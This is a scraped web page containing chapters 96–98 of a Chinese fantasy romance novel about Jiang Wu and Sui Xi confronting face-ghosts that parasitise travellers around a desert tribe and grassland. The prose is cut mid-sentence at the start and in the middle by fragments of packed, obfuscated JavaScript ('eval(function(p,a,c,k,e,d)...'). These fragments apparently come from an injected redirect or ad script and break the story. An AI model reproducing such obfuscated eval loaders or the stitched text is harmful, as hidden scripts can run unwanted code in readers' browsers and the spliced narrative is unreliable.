d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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睢羲安抚性地吻了吻姜芜的肩颈,羊肉在他体内燃着血液,他却没有其他的动作,只是用亲吻和拥抱来安抚姜芜的情绪。 “除非什么?” 姜芜的神情一片麻木,声音却如平常一般,“你同我签订同心咒,以我之命,续你之生。” 睢羲闻言周身一愣,耐心解释道:“为何又想起这件事?我记得我们们之前似乎谈论过,若是我死了你也会死的,所以我不愿。” 姜芜环臂抱紧了自己,呢喃道:“……一起吧……” 睢羲抬手摸了摸姜芜的头发,“不要因为一时冲动而做出让自己后悔的事情,睡吧,马上便天亮了。” 姜芜想起梦中的事情,突然沉吟了一声。 “怎么?” 姜芜摸索着自己的后颈,“帮我看看我的脖子上还有头发里有没有东西。” 睢羲无奈地一笑,他抵到了姜芜后颈的位置,“不会有东西的,我在你身上设下了护体结界,人面鬼不会附你身的。”说完,他怕姜芜心不安,特意伸手摸了摸她光滑的脖颈,穿过发丝逆着向上,揉了揉她的头发。 “没有,没有东西的。” 姜芜迅速翻身看着睢羲,眼圈泛红地看着他,“让我看看你有没有。” “好,给你摸。” 睢羲牵引着姜芜的手搭到了自己的后颈上。 姜芜按在睢羲脖颈上的手突然用力,顺势迎上去吻住他的双唇,呢喃道:“我害死了很多无辜的人。” 睢羲捏着姜芜的腰将她提到了身上,“你后悔了吗?” 姜芜摇了摇头,“我不后悔,但是……你要活着,我活着心中有愧。” 睢羲蹙眉,他托起姜芜的脸,神情复杂地看着她。 姜芜勉力勾了勾唇角,“让我看看你的伤口吧。” 睢羲沉默了片刻,随即伸手解开了自己的腰带,他扶着姜芜起身,然后脱下了自己的上衣。 姜芜伸手抚摸到睢羲心口的位置,那处用戾气遮盖的伤口,在她的手指下露出本来的面目,黑红色的创口中依稀可见一颗勉力跳动的破损心脏,从其中延伸出来的黑色纹路遍布大半个胸膛。 姜芜现下反而有些不敢触碰,她看着面前骇人的伤口,身体忍不住得颤抖了起来。一直被姜芜藏起来的焦虑趁着她心智薄弱之时,张牙舞爪地跑了出来。 她那些焦虑着的死亡、一眼望到头的时光、迟早有一日的分离、见一面少一面的日子,全部涌到了心间。 姜芜神情痛苦地将那些焦虑重新压了下去,她小口小口地倒换着呼吸,眼泪却大颗大颗地落了下去。 若是真到了无路可走的那一步,姜芜不知晓睢羲会花多久用来遗忘,她既希望时间长一些,她在睢羲心中待得久一些,又希望时间短一些,睢羲能尽快忘掉那些悲伤。 睢羲见状伸手擦去了姜芜脸上的眼泪,然后将衣裳穿好,“别看了,没什么好看的。” “你……你痛不痛?” 96. 窃脂 “不疼。” 姜芜轻抚在睢羲伤口的位置,控诉道:“你骗人,你之前分明疼得坐立难安,怎可能不疼。” “已经习惯了。”睢羲伸手把姜芜按在自己的身前,随即缓缓地躺倒在床榻上,“快些休息一会吧,很快便天亮了。” 姜芜吸了吸鼻子,轻轻地抚摸着睢羲的胸口,思忖着自己接下来该如何做。 “濯濯,别再伤心难过了。”睢羲安抚般地拍着姜芜的肩背,“你连死都不怕,死一个男人而已,怎么会活不下去呢?也不要说什么我比你自己的命还要重要,在你的世界里,最重要的东西应该是你自己,其余的都是些无关紧要的事情。” 姜芜默不作声地揪着睢羲的衣裳,趁着四周的夜色将眼泪全部擦在他的前襟,“你平日里便是这么安慰自己的?” “不是。” 姜芜闻言便知晓是百衢这么说过,睢羲觉得正确,便在这里同她有样学样。 “我说过了,无论你为何事都不该如此。你心中的愧,我来担,我死后所有的过错我来承担,你怕以后无法面对活下来的人,那便不去见他们。” 睢羲等了片刻都不见姜芜开口,十分无奈地叹了一息,“往后你想做何事?” 姜芜摇了摇头,哑声道:“我不知晓,我没想过以后。” 睢羲思忖了片刻,提议道:“要开药铺,继续当大夫吗?我记得你很擅长这方面,这样也可以救很多的人,你可以教我如何抓药,认药方,让我帮你打下手。” “当大夫?学习抓药认药方?”姜芜听到睢羲想要学习药理,便撑起身来看着他,“可是我早就忘了,我都多久没给人诊脉看过病了?” “可以再温习一下,会很快想起来的。”睢羲看着姜芜的双眸,温声引导着她,“你可以想想将药铺置办成何种样子的,你要在哪处放诊台,也要考虑若是忙不过来,是否要招几个帮手。这间药铺要开在何处,不如开在天都城吧,那里有处宅子,打烊之后可以直接回家休息。” 姜芜彻底陷入了睢羲编织出的未来里,她认真思索了片刻,“可是天都城有好多药铺,用不了多久我们的药铺便会因为无人光顾而关门大吉,便开不成了。” 睢羲闻言忍俊不禁,“反正也是用来给你打发时间的,我们又不靠这个来吃饭。” 姜芜若有所思地说:“若是这样的话,从一开始便要招些帮手,最好是能够诊脉看病的,晚上打烊之后药铺不能没有人的,万一有什么急事,会耽误的。” 睢羲抬手摸了摸姜芜的侧脸,他看着姜芜眼里对未来的向往,很欣慰她能这般想,从那些痛苦中短暂的脱离出来,投入到未来的希望之中。 他能做得也只有短暂地铺陈出一条康庄大道来,用温暖和希望点缀,引导着姜芜走上去。 这些年睢羲从最开始察觉到姜芜情绪的异常,到她浑身是血地捧着第一个心脏回来,最初他只觉得杀几个人也没有关系,但是在他的印象中姜芜很少杀人,几乎没有杀过人,但是却为了治疗他的伤口,数次涉险。 姜芜不爱杀人,甚至很少做出一些伤害其他种族的事情。 是他没有顾及到姜芜的情绪,不知晓姜芜的内心纠结,若是能早一点知晓她的心意,便能够早些阻止她,也不会到现下这个地步。 她在杀人中一步一步地丧失了对生的希望。 睢羲听着姜芜喋喋不休着规划着那间药铺,伸手将她抱了下来,“休息片刻吧,天快要亮了,等以后有空闲了,再考虑这个吧。在此之前,我们要先去天都城租赁一间合适的空闲店铺。” 姜芜笑着点了点头,然后靠进了睢羲的怀中,她也不希望睢羲是一副毫无求生意志的状态,如果他愿意学习一些从未接触过的东西,姜芜也非常愿意教他。 “你要等我睡醒,否则我会以为自己又在哪个梦境中。” 睢羲应了一声,“放心睡吧,我会一直陪着你。” 睢羲说完便抱紧了姜芜。 清晨,沙尘暴褪去,天空一片澄澈。 姜芜擦干脸后,将帕子拧干之后搭到了盆架上,她同睢羲简略地说明了一番昨晚梦境,忽略了梦中看到的那些死人,“你说这家店的老板娘是否也被人面鬼附身了?” 睢羲沉思了片刻,随后才道:“其实,昨晚你入睡之后,‘沛然’曾经上来找过我,说是百衢传了一封重要的信给我,看与不看让我自己定夺,他不好直接进来,需要让我到门口取,而且要阅后即焚。” 姜芜对着镜子打理起自己的长发,笑着说:“怎么个阅后即焚法?既然这么重要,下次让百衢直接传讯给你,省得搞这么些骗人出门的拙劣手法。” 睢羲问道:“肚子饿吗?要吃些东西吗?” 姜芜给自己挽了发髻,用梳子通顺了发尾,随即起身招呼着睢羲出门,“不了,下去看看季易和沛然吧,希望他们警惕一些,不要轻而易举地中招。” 舒星见姜芜开门,立刻迎了上去,他神情惊恐地看着二人,磕磕绊绊地说:“这位......这位姑娘,你还记得我吗?我们……我们之前在魔鬼城见过的。” 睢羲上前把姜芜挡在身后,冷声问道:“何事?” 舒星被睢羲的气势唬住,硬着头皮继续道:“昨晚......昨晚二位有经历什么匪夷所思的事情吗?” 姜芜见状上前环住睢羲的手臂,轻轻地抚了抚,示意他不要这般唬人。 “发生何事?你怎么如此惊慌?你们离开魔鬼城之后,为何还会到格力特部落?” 舒星摇了摇头,神情掺杂着惊恐和麻木,“我说我并不知晓,二位会信吗?我们几人打算去并州落脚的,可是在前往并州的路上,马匹就如同鬼遮眼一般,一个劲地往格力特来,当我们反应过来不对时,便丢弃了马匹,靠双脚走路,但是依旧无法控制行进方向,当我们有意识时,已经站在了格力特部门之前,我们在不住地回到这里了,而且根本离不开。” 姜芜蹙眉,“什么叫做‘当你们有意识时’?你们还有无意识的时候?” 睢羲按了按姜芜的手,解释道:“我猜以他们的速度,四日从无幻之境到格力特部落,确实不可能,除非日夜兼程,但是人若是四天四夜没有合眼休息,多半不会像现下这般精神,而且他们比四日前消瘦了不少。” 舒星闻言用力地点了点头,“就是这样的,你们好人做到底,帮帮我们吧,我们已经不想再如此循环下去了,而且我们并非今日才到格力特的,而是两日前。在后来的两日中,我们曾经尝试过无数次逃离这里,但是总会在合眼休息醒来之后回到这里,即便是我们用绳子将自己绑起来,也是如此。就像是有人操控了我们的身体一般,这种事情太恐怖了。” 姜芜扬了扬下颌,“你转过去?” 舒星虽然不知晓这般做有何用途,但照旧转过身背对着姜芜二人。 姜芜正准备上前撩开舒星遮挡住后颈的头发,却被睢羲抢先一步,当二人看到舒星脖颈后的那张脸时,不约而同地蹙起了双眉。 那张脸五官具现,只是双眸闭合,根据起伏的肌肉来看,它正在呼吸,像是处于睡眠中的普通人一样。肤色与舒星的肤色一模一样,不像是二人已经融为一体,而像是舒星的背后本身便长着这么一张不可见人的脸。 姜芜同睢羲对视一眼,随即后者便放下了舒星的头发。 舒星转身追问道:“是……是人面鬼吗?我是不是被人面鬼附身了,听说被人面鬼附身后没有能活下来的。” 睢羲摇了摇头,“不清楚,我们也没有见过人面鬼。” “那……你们能帮帮我们吗?”舒星生怕姜芜二人拒绝,立刻说,“我们那里还有一些整体的珠宝首饰和黄金,二位要是看得上眼的话,都可以拿去。” 姜芜说:“不必了,我们也只能尽力而为,至于成不成功,便要看你们的造化了。” 舒星顿时喜笑颜开,急忙说:“谢谢,谢谢二位了,你们肯帮忙便好,我立刻去跟白飞他们讲。” “不急,免得空欢喜一场。而且这种事情不宜张扬,我们还有要事要做,不想多生事端。”姜芜伸手拦下了舒星,“事成之后,我要你们带我们走前往工格栅的路。” 睢羲本不同意姜芜在祛除人面鬼这件事情浪费时间,但听到她开出的条件后便不再阻拦,毕竟有了舒星的帮忙,也算事半功倍。 舒星见姜芜这么说便暂时按捺住了激动的心情。 姜芜与睢羲一同下楼,见沛然还在原处坐着,四下却不见季易的身影。 “怎么就你自己?季易呢?”姜芜取了茶杯倒水,“睢羲,要喝水吗?” 睢羲摇头,从纳袋中取了一包桃酥,打开后放到了姜芜面前,“垫垫肚子,或者再去买些吃食。” 沛然眨了眨眼睛,一副如梦初醒的模样,他一脸茫然地看着姜芜,“我……” 姜芜见状点了一下杯中水,抬手弹向了沛然的面门。 沛然周身一震,只觉得有一股冰凉刺骨的感觉自眉心涌入,瞬间驱散了他的混沌与麻木,灵台顿时清明。 姜芜见状将桃酥放到了桌子的正中央,“沛然,要吃些桃酥吗?” 沛然轻轻地摇了摇头,“不了,季易他……我也不知晓他去何处了,方才我也不知晓自己怎么了,也不知晓是何时出现的这个状态,就像是我感知不到我自己了一般。” 姜芜偏头看了睢羲一眼,随后伸手拿了块桃酥来吃,“给季易传讯问问吧,别出次远门,再有个三长两短,百衢又要找我麻烦了。” 沛然立刻传了条讯给季易,询问他在哪里,让他快些回来。 “我已经传讯给他了,他应该很快便能回来了。” 睢羲起身走到了沛然身后,随后伸手撩开了他的头发,见他后颈上的那张人脸,不动声色地对着姜芜点了点头。 沛然一脸茫然地摸了摸自己的后颈,并不觉得掌下的皮肤有何异常,“两位大人,我是有什么异常吗?” 睢羲说:“不必惊慌,只是检查一下你是否被人面鬼附身。” 沛然神情诧异地问道:“人面鬼?修罗也会被人面鬼附身吗?” “只是以防万一而已。” 姜芜吃着手中桃酥,突然想起一事,从袖袋中取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜芜立刻伸手将窃脂抓捂在了手中,滚烫的火焰喷洒在了她的掌心中,指缝中都有火丝冒出,灼热的温度险些将她的手指烧毁。姜芜又施加了一道结界在窃脂身上,防止火焰回弹将它灼伤。 睢羲见状迅速起身,挥手打掉姜芜手中的窃脂,用戾气帮她降温,治疗手心中的灼伤,“胡闹,乱挡什么?” 窃脂落在地上,圆滚滚的身子在地上翻滚了几圈,停在了角落之中,它抖了抖身上柔软的羽毛,挥动着翅膀重新飞回了自己的蛋壳旁边。 沛然见四周的注意力都被吸引了过来,迅速将蜡烛点燃又拨倒,然后捞起窃脂和蛋壳收进了怀中。 整个客栈被这突如其来的变故惊得鸦雀无声,纷纷朝着姜芜三人看了过来。 老板娘见状从柜台后走了出来,她先是看了一眼桌上翻到的蜡烛,随即笑着说:“哎呀,是我们的疏忽,忘记把蜡烛收起来了。这位夫人,您受惊了,没烫着吧,店里有烫伤用的药膏,我马上给您拿来。” 姜芜笑着说:“有劳关心了,没烫伤,不用烫伤膏。” 老板娘笑着看了一眼姜芜,随即一边收回视线一边往柜台后走去,“好,有事您再招呼我。” 姜芜抬眸看了睢羲一眼,就着两人交握的手,将他拉回了长凳上,低声安抚道:“没事了。” “把窃脂拿出来。” 睢羲托着姜芜的手,垂眸看了一眼红肿的皮肉,神情冷淡地看着沛然,眼底翻腾着怒火。 沛然先是看了姜芜一眼,随后从怀中将窃脂取了出来,他从未见过睢羲如此神情,心中难免有些拿捏不准。 “我的手没事,它只是一只幼兽而已,什么都不懂,那你不要吓着它。”姜芜伸出另一只手将窃脂护住,“沛然,季易回信了吗?你的信最终送到了何处?若是他还没有回信,我们便去找找他。” “还没有。”沛然急忙说,“方才我听大人讲这只窃脂鸟之前被颙鸟吞入了肚腹中,后续在人族修士的内府中温养长大破壳,不如将蛋壳磨成糊糊喂给它,这样可以弥补先天不足。” 姜芜双眸一亮,“这样也可以吗?” 沛然点了点头,随后神情有些不自然地抬眸看向睢羲,他这么做虽然有些鲁莽,但是这也是在短时间内缓解气氛最好的办法了,而且睢羲之所以如此,完全是因为姜芜,只要把姜芜哄得开心,睢羲便不会有其他意见。 睢羲见姜芜对窃脂实在上心,看得出完全是因为喜爱,而不是因为商扶庭的托付,便没有再继续纠结这个问题。 姜芜将窃脂收回进纳袋中,拉着睢羲的手起身,“出去找找季易吧,这样一直等下去也不是办法。” “好,我带二位大人去。”说完,沛然便站起身,迅速向客栈外走去。 睢羲跟随着姜芜的步伐,开口问道:“沛然也被人面鬼附体了,你相信他现下所说的一切吗?” 姜芜勾起唇角,“我要的便是如此,既然人面鬼愿意带我们去找季易,说明我们可以直抵他们的老巢,或许可以找到解除人面鬼附身的方法。而且人面鬼应该对我们四人很感兴趣,昨夜三番四次的试探,今日即便是请君入瓮,我们要去闯一闯这个龙潭虎穴。” 睢羲一惊,他垂眸看着姜芜,“你竟然是如此想得吗?” “对啊。”姜芜抬眸看了睢羲一眼,随后拉着他避让开进入格力特的商队,“睢羲,你还在生气吗?” 睢羲敛眸,掩盖住其中的失落,“你会不会觉得我心胸狭隘,连一只窃脂幼兽都容不下,只是因为商扶庭亦或者是段怀野?” 姜芜笑了一声,她更用力地握紧睢羲的手,“睢羲,跟紧我。” “好。” 97. 草原 【并州】 沈确掐诀再次给商扶庭送信,却依旧没有得到他的回复,心中难免有些惴惴不安,她一点也不想耽误时间,快马加鞭赶往顺榆镇。 从应倚靠在马车内,往口中投掷着花生米,他面色惨白,气息虚浮。 宗华神情烦躁地看着从应,“哥哥,即便是到现下,你也不准备同我讲实话吗?” 从应神情懒散地睨了宗华一眼,“你凭什么来质问我?你当初不声不响跟出来时,有没有同我讲过?” 宗华质问道:“所以你便将计就计,以我为鱼饵,追寻到了奉眠的部落,然后屠杀了他们全族?” 从应闻言动作一顿,他把着手中的花生米,脸上露出一个意味不明地笑容,“阿弟,母亲在天有灵,会感谢你的。” 宗华蹙眉,“你是何意?为何要这么说?” “你年纪还小,什么事情都不懂,母亲让你读了那么多年的圣贤书,我看你脑子都快读傻了,读那些书有什么用处。”从应合上双眸,有些疲惫地搓了搓脸,“我要睡一会,你不要吵我。” 宗华见状怒火中烧,他看不惯从应这般无所谓的模样,仿佛常胜部落的血债只是普普通通的丹青朱砂色,而亲手造下这杀孽的人却不以为然,他扑上前,抓着从应的衣襟用力晃了晃,“等等,你还没有告诉我,你为何要杀那么多人!你总要给出一个解释!” 从应倏地睁开一双猩红的双眸,厉声道:“滚出去!你凭什么同我这样讲话,我是你的亲哥哥,他们同你相识不过几日,你便处处维护着他们?跑来来质问我?威胁我?” 宗华神情一愣,他长这么大第一次被从应吼,心中难免有些吃惊与害怕,他神情惊恐地看着从应,语气也软了下来,“可是……可是……你杀了他们是事实啊,上至七八十岁的老人,下至不足满月的婴孩!全都被你杀死了!” 从应摇了摇头,否认道:“不,我只杀了常胜一人,其余的他们都是自相残杀!” 沈确撩开帘子,出声劝道:“你们两个不要打架。” 从应看了沈确一眼,随后便躺回了原处,转身便内,对于宗华眼不净心不烦。 宗华见状无奈地叹了一息,扯过一旁的披风盖在了从应的身上,最终撩开车帘,同沈确坐在一起。 “很快便到顺榆镇了。” 宗华神情担忧地应了一声,心中却有些害怕到达顺榆镇的时候,虽然从应杀了那么多人,但是终究是他的亲哥哥,他们同父同母,血脉相连。常胜部落之事,别人尚且不说,姜芜肯定会杀了从应为常胜及其族人报仇的,宗华不能眼睁睁地看着从应去死,想到此处他的心情难免烦躁了起来。 宗华觉得从应屠杀常胜及其族人一事太过于残忍,常胜及其枉死的族人固然可怜,常奉眠固然值得同情,但是当他在天都城外看到从应的一瞬间,他便知晓,他已经失去母亲与妹妹了,不能再失去这个哥哥。 两种情绪将宗华来回撕扯着,他觉得自己痛苦极了。 夜间,三人在一处树林中避风生火,沈确同宗华分别守上半夜与下半夜,她叫醒宗华后便拎着披风到一旁休息。 宗华看着火光愣神,他一下一下地咬着自己的食指,直到咬得皮开肉绽,他在心中一遍又一遍地衡量,一遍又一遍地纠结,最终只是深深地吐出了一口浊气。 宗华看了一眼沈确,确定后者熟睡之后便起身轻手轻脚地走到了马车旁边,他爬上马车,将正在熟睡的从应喊醒。 从应睡眼朦胧地看着宗华,神情不解地问道:“大半夜不睡觉,你要做什么?” 宗华神情怔怔地看着从应,不言不语。 从应见状眯着双眸去看宗华,只见后者神情阴鸷,双眸布满血丝,不似往日那般乖巧可爱,倒像是隐匿于树林深处准备谋财害命的饿鬼。 “大半夜的,你发什么神经?!” “哥,你走吧,走得越远越好,你打晕我,骑马走,阿确已经睡了。”宗华絮絮叨叨地说,“你不能跟我们去顺榆,你若是去了,一定会死的。” 从应挑眉,反问道:“就为这个?你大半夜把自己折磨成这个样子?” 宗华压着声音,双眸爆红,声嘶力竭地说:“我不能眼睁睁地看着你去做死啊!” “他走不了的,估计是附身太多长灵族人,伤了根基,否则也不会委托一辆驴车离开并州,说不定以后修行都受影响。” 沈确的声音从马车外传来,声音平淡,似乎并不意外宗华的所作所为。 宗华脸色瞬间惨白,他一脸难以置信地看着从应。 从应一脸不以为意地扬了扬下巴,十分赞同沈确的话。 宗华急切地扑到从应面前,在他的身上胡乱摸索着,从小到大,当他有记忆的时候,哥哥便已经被父亲接走了,团聚的时候少有,他对于哥哥的大部分记忆都是从母亲那里得来的。 母亲说,哥哥很优秀,修行天赋很高,跟着父亲一起修行,总比跟着母亲一起生活埋没天赋要好很多。 宗华忘不了母亲提起哥哥时眼中闪烁着的光芒和唇角的笑意,以至于他也很羡慕哥哥,能够让母亲骄傲,于是他奋力读书,妄图以后能够考取功名,加官晋爵,来让母亲过上好日子,让母亲也以他为骄傲。 但是母亲死后,一切都变了,一切都脱离了宗华的设想。 宗华泪眼婆娑地看着从应,哭喊道:“哥哥,这到底是为何啊??” 从应摸了摸宗华的发顶,温声道:“阿弟,我真的很羡慕你。” 【塔塔沙漠】 沙尘暴过后的塔塔沙漠格外的平静,格力特部落依旧持续着昨日戛然而止的热闹,整条主街上来往之人络绎不绝。 姜芜牵着睢羲跟在沛然身后,经过昨日将人面鬼故事的老者时,二人停下了脚步。 老者混浊的双眸呆呆地看着湛蓝色的天空,飘过的白云甚至能够倒影在了他的眼球上,今日没有孩童围绕在他的身边,他也没有继续昨日的故事。 姜芜开口问道:“老人家,今日怎么不讲故事了?” 老者继续仰着头,混浊苍老的眼珠却下翻看向姜芜,“你们是谁啊?” “路过而已。” “也听过我昨日的故事吗?” 姜芜说:“昨日路过,听了几耳。” 老者问道:“那你们昨夜遇到人面鬼了吗?” 姜芜挑眉,她看了睢羲一眼,开口反问道:“老人家,此话怎说?” 老者伸手指了指自己的鼻子,“虽然我的眼睛不好用,但是我的鼻子灵得很,我能闻到你们身上的气味。” “什么气味?”姜芜凑到睢羲肩膀处闻了闻,“没有味道啊。” 老者摆了摆手,“普通人是闻不到的,只有我才能闻到人面鬼的气息。” 睢羲盯着老者看了片刻,随后抬手在他面前挥了几下,戾气也随着他的动作进入到老者的七窍之中,随后附耳姜芜,“他在骗人。” 姜芜脸上笑意更深,她继续问道:“老人家,这么说,你对人面鬼很了解?” 老者摇了摇头,“老汉我啊,只是活得久听得多而已,这人面鬼未必是鬼,这人也未必是人。可惜了那塔塔女王,丰功伟绩,一世英名,落得个如此下场,只剩下个痴傻女儿。” “那您一定有消灭人面鬼的办法吧?” 老者闻言沉默了起来,枯黄干瘪的手从烟袋中捏了一些烟丝,双手团成一团后塞进了烟枪中,随后四下翻找起打火石。 睢羲见状双指一抿,搓燃了那团烟丝。 老者察觉到察觉到烟丝被点燃,探头狠狠地吸了几口,“但凡是被人面鬼缠上的人都活不了,你们两个都要死,不仅你会死,他也会死。” 姜芜面上的笑容一僵,她松开睢羲的手,缓缓地走到了老者的面前,轻声问道:“老人家,你说这种话?是因为这个年纪不怕死了吗?” 睢羲耳朵一动,伸手把姜芜扯了回来,“不要跟个骗子计较一些。” 姜芜抿紧了双唇,死死地盯着老者,握着睢羲的手越收越紧,然后一言不发地拉着他离开。 姜芜转身的瞬间便看到沛然站定在三步远的位置,正直勾勾地盯着二人。 姜芜挑眉,丝毫不惧地回看过去。 沛然眨了眨双眸,随即垂下了头,“二位大人,问完了吗?” 姜芜走上前,抬手轻碰了一下沛然的下颌,“沛然,抬起头来。” 沛然抬头一脸茫然地看着姜芜,“大人,何事?” 姜芜问道:“我不管你现下是谁,你告诉我,那个老人家知晓如何祛除人面鬼对吗?” 沛然双唇一咧,神情诡异地看着姜芜,“大人,还是加快些脚程吧,别让他们等急了。” “等急?等不了便不要等了。想见我们便亲自来,让我们过去,便要看我们的时间。”姜芜挽着睢羲的手臂,往一旁的集市走去,“我也是第一次来,现下想四处逛一逛。” 沛然面色一沉,他快步追上姜芜,低声问道:“你就不怕他们两个死吗?” “那你们还以何做筹码?”姜芜挑起了摊位上的一条玉串子,左右看了一番,“我可管不了其他人的死活,而且我赌你们附身后同宿主同生共死,除非用特殊的方法与宿主身体剥离。” 沛然阴沉沉地问道:“那你要如何才肯去?” 睢羲伸手把姜芜揽进怀中,警告般地看了沛然一眼,随即扔给了摊主一粒金子,将摊位上姜芜看过的东西全部取下来带走。 摊主瞬间瞪圆了眼睛,他将金珠取过咬了一口,验证为真后,立刻道:“谢谢大老爷,祝大老爷和夫人幸福美满。” 姜芜接过睢羲递过来的东西,笑着说:“你买贵了,这些东西都是从其余各州贸易过来的,在这边价格至少翻一番。” 睢羲说:“不缺这些,你喜欢便好。” 沛然快步赶了上去,“你想要什么?” 姜芜晃动手中的点翠做蝴蝶步摇,越看越觉得喜欢,她丝毫不搭理沛 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“去吧,总要把季易救回来,否则百衢又要数落我了,本来他便对我有些不满。”姜芜从纳袋中取出一套裤装穿在身上,在外套了一件银花圆领袍,“为了防止他能在你面前少说我几句,也省得你为难不是吗?” 姜芜坐在床榻上穿长靴,随后摘下了头上的发饰收进了纳袋中,将长发全部束了起来,她知晓这枚蝴蝶步摇戴着有些不伦不类的,但是她还是将其别回了发间中。 睢羲取过姜芜放在桌上的护腕,思忖着开口,“百衢他......下次我会同他说清楚的。” 姜芜把自己的双手伸了出去,示意睢羲帮忙绑好,“他说的没错,我本就是做了一些罪责滔天的事情,但是他私下里无论怎么想我都无所谓,我只是想让他在你面前时少说几句,若是这次不能将季易和沛然完好的带回去,我在他那处便是罪加一等。这样的话,他又要在你面前喋喋不休了,我知晓你不愿别人说我一句不好,但是百衢的本意却是为你好,你也无法说些什么,不是吗?” 睢羲给姜芜绑好的护腕,一脸无奈地看着她,“为何要想那么多?我竟然不知晓你是这般想的。这是我的事情,我会去处理好的。” “你也想得多,但是你总是藏在心中,让它愈演愈烈,长时间下去怎么能承受得住呢?”姜芜伸手抚上了睢羲的心口,“所以啊,不要想太多,有时候想太多也没有用处。” 睢羲伸手刮了一下姜芜的鼻尖,取了一件厚实的大氅披在了她的肩上,温声道:“那能怎么办呢。” 姜芜伸手牵起睢羲的手,“走吧,我们去会会那群人面鬼,毕竟我之前从未见过这种东西。” 二人下楼时,舒星四人依旧坐在原来的桌子旁,不过这时的他们神情空白,对于他们的举动也没有做出太多的表情,仿佛并不认识他们一般。 沛然已经将马牵了出来,他冷淡地扫了二人一眼,“快走吧,不要再浪费时间了,我们争取不要在草原上过夜。” “怎么?”姜芜翻身上马,“你是人面鬼还害怕草原上的夜晚吗?” 沛然蹙眉,他十分不满姜芜说话的腔调,出声告诫道:“要对自然拥有敬畏之心,不要因为自己的无知丧命。”说完,他甩动缰绳,策马奔出格力特部落。 姜芜心中存疑,虽然她不清楚人面鬼的来历,但是取了这种名字想必也差不到哪里去,居然会害怕草原上的夜晚,而且那老者曾经说过他们随着风暴而来,但是现下这人面鬼却又要带他们往南入草原。 “这人面鬼究竟是什么东西?” 睢羲思忖了片刻,随即摇了摇头说:“不知晓,估计是近些年才出现的东西,在此之前除了鬼族人从未听说过还有其他种族有附身的本领,而且这大抵并非附身,而是一种寄生,而且你方才关于同生共死的言论,他也并没有反驳,不是吗?” 姜芜勾唇一笑,“真是来自草原的有趣生灵。” 【提拉那拉草原】 沛然策马行进至草原与沙漠交界的一处高坡上,放眼望去一片郁郁蓊蓊青黄色的广袤长河,人间现下新春刚过,正处于乍暖还寒之时,草原还未曾长成齐腰高的青海,但现下也足够震撼。 沛然神情警惕地看向即将西沉的太阳,抬手勒住了缰绳,“我们退回去,今夜便在避风处过夜吧,明日一早再过草原。” 姜芜策马拦住了沛然折回的路,“怕什么,你不是要赶时间吗?连夜赶路是最好的。” “你们根本不知道草原夜晚的危险性,贸然进去只会丧命。”沛然突然恶狠狠地说,“你们想死,不要拉着我。今夜估计会下一场大雪,等积雪覆盖住草地便会安全了。” 睢羲上前拦住了沛然的去路,“草原中有何问题?是草有问题,还是地下有问题?你身为人面鬼,为何如此惧怕草原?” 沛然神情怨毒阴冷地看着二人,虽然依旧是沛然的脸,但是整体的气质已经完全换了一个人,他突然冷笑了一声,“谁告诉你们,我是人面鬼的?” 98. 黑影 姜芜挑眉,面上神情没有丝毫的波澜,“你既然不是鬼面人,那便没有留你的必要了,直接杀了算了。” 睢羲闻声而动,催动戾气缠住了沛然的脖颈,将他从马背上提了起来。 沛然死死地扼住缠在脖颈上的东西,涨红了脸,他的气息断断续续的,神情震惊地看着二人,“你们......你们不是凡人?!” “所以,你们昨夜想要附身我们,失败后所以才有了今日这件事情吗?”姜芜抬眸看着沛然,“你们有事想拜托我们吗?还是说陷入了困境?你要坦诚,我们也要看看可行程度,首先得拿出你的诚意来吧,一五一十地说说吧,这一切都是怎么回事。” 沛然忍受着窒息的痛苦,说出了自己的目的,“是......是我们的尸母要见你们,她觉得你们不受干扰,一定很特别,所以有事求你们。” “师母?”姜芜心中有些诧异,“人面鬼也自立了门派吗?” 睢羲松了手上的力道。 沛然毫无防备地落到了马背之上,不住地呛咳了起来。 姜芜说:“不过,你们是如何选择附身之人的呢?你们居然能够附身他们两个,真的令我很惊讶,你们不怕疼吗?” 沛然捂着自己的脖颈,眼珠因为窒息而充血爆红,他抬眸看向姜芜,因着沛然的脸倒显得有几分可怜,“疼?为何会疼?每个人都拥有恐惧,我们会制造一种氛围,趁着其心神溃败而占据身体,从而一点一点地掌握身体的主动权。人有七情六欲,所以击溃他们的防线,并不困难。” 姜芜若有所思地看着沛然,她想起昨夜的梦境,险些便被人面鬼击破了心防,幸亏有睢羲在身侧,否则后果不堪设想。 “现下你知晓了我们的身份,这样我们可以连夜进入草原了吗?” 睢羲看了姜芜一眼,心中有些顾虑,因为姜芜并没有对他所说昨夜的梦中事,想来也不是令人愉快的事情,但是他还是想姜芜能够亲口同他讲明白说清楚。 沛然的脸上流露出一丝惊恐,“连夜进入草原并不是一件易事,我劝你们三思而行,否则夜晚所发生之事,即便你们再无所不能,也要斟酌三分。” “听你这般说,我更好奇夜晚的草原会发生何事了,你放心,你现下还拥有着我们朋友的身躯,我们会保护好你的。”说完,姜芜便策马从山坡上冲了下去。 睢羲见状紧随其后。 沛然看了一眼二人,又抬眸看向已经半沉入地平线的太阳,在他的眼中,这并非是正常夜晚的开始,而是因为太阳惧怕草原上的黑夜而不得已逃入地底,但是最终他还是咬牙跟上了上去。 姜芜问道:“他跟过来了吗?” 睢羲应了一声,他看着面前广漠无垠的瀚海草原,“你觉得入夜之后会出现什么?” 姜芜闻言抬眸看了睢羲一眼,笑着调侃道:“大修罗,你害怕了?再出现什么,还不是你随便能解决的事情吗?这世间还有谁能伤害到你?” “没有。”睢羲摇了摇头,还是忍不住叮嘱道,“你不要害怕,不要被他们牵动情绪,他们只是一些不值一谈的东西,要解决起来很容易。有我在,不要担心,而且不要离我太远。只要你同我一起,只要我们两个一起,便没有什么过不去的。” 姜芜抿起唇,一脸无奈地看着睢羲,“我看起来像是害怕的样子吗?” “但是他们会让你看到内心的恐惧,昨夜的梦便是很好的证明,你在害怕,我也知晓你在害怕什么。你不说,我便不问,你只要知道,我别无他求。” 睢羲说完神情一愣,突然非常轻地笑了一声,他抬眸看向天边的彩霞,随后驾马向草原中奔去。 姜芜一头雾水地看着睢羲,策马追了上去,“你笑什么啊?不能被人面鬼附身了吧。”说着,她便伸手摸向了睢羲的后颈。 睢羲见状偏下头,让姜芜伸手摸他的后颈,“没有。” 